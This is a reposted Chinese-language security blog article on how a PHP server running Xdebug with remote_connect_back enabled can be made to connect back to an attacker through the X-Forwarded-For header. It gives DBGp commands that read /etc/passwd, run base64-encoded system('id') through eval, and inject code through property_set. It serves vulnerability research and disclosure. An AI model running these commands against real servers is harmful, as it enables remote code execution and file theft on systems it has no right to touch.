最新消息:图 床

Xdebug: A Tiny Attack Surface

COOL IAM 259浏览 0评论

作者:RicterZ

0x00 About Xdebug

Xdebug 是一個 PHP 的調試工具,支持在本地通過源碼遠程調試服務器上的 PHP 代碼。Xdebug 功能強大,最近關於其配置的文章也層出不窮,很早之前就萌生了挖掘 Xdebug 攻擊面的想法,終於在今天這個適合划水的日子去做了。

Xdebug 調試 PHP 的主要流程為:

  1. 接收到 debug 的信號,一般為請求參數帶有 XDEBUG_SESSION_START
  2. 返回一個 XDEBUG_SESSION 的 Cookie
  3. 服務器作為客戶端,根據配置文件中的 xdebug.remote_hostxdebug.remote_port 連接服務端(開發者的機器)
  4. 服務端收到請求,向客戶端發送指令

Xdebug 支持的協議有 dbgp,具體的規範文檔在:https://xdebug.org/docs-dbgp.php

Xdebug 的配置比較簡單,大體步驟為:

  • 下載源碼,phpize、編譯
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目錄下創建 xdebug.ini

攻擊面所需要的環境中, xdebug.ini 內容為:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

在中國大內網的環境下,一般情況都會去配置 xdebug.remote_connect_back,參見 百度關於 xdebug.remote_connect_back 的搜索結果,而我們的攻擊面也是建立在這條配置上的。

逐條解釋一下:

  • xdebug.remote_enable,開啟遠程 debug
  • xdebug.remote_connect_back,開啟回連

xdebug.remote_connect_back 的回連是通過自定義 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三個確定的,依次 fallback,所以即使配置了自定義 Header,也可以通過設置 XFF 頭來指定服務器連接。

Xdebug 的網絡交互也十分簡單,客戶端迴向服務端發送 XML 數據,服務端會向客戶端發送類似於 gdb 的 command。每次交互的數據以 /x00 作為 EOL。

0x02 Read The Manaul

通過閱讀 DBGp 的文檔,我們可以注意到一些比較敏感的命令。

  • Core Commands > source
  • Extended Commands > eval
  • Extended Commands > interact – Interactive Shell
  • Core Commands > property_set

source 可以讀取文件內容,eval is the eval。

1. source

source -i transaction_id -f fileURI

transaction_id 貌似沒有那麼硬性的要求,每次都為 1 即可,fileURI 是要讀取的文件的路徑,需要注意的是,Xdebug 也受限於 open_basedir

利用方式:

source -i 1 -f file:///etc/passwd

另外,此處可以用 php://filter 來讀取文件,所以也可以用來 SSRF。

2. eval

eval -i transaction_id -- {DATA}

{DATA} 為 base64 過的 PHP 代碼。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

3. interact

Xdebug 沒有實現這個,放棄吧。

4. property_set

根據 Xdebug 對於 dbgp 的實現,property_set 是存在一個代碼注入的。

具體代碼在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

    /* Do the eval */
    eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
    res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

0x03 Detect Xdebug & Exploit

說了這麼多,怎麼知道對方是否開了 Xdebug 並且可利用?很簡單,一個 cURL 就可以了。

转载请注明:IAMCOOL » Xdebug: A Tiny Attack Surface

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x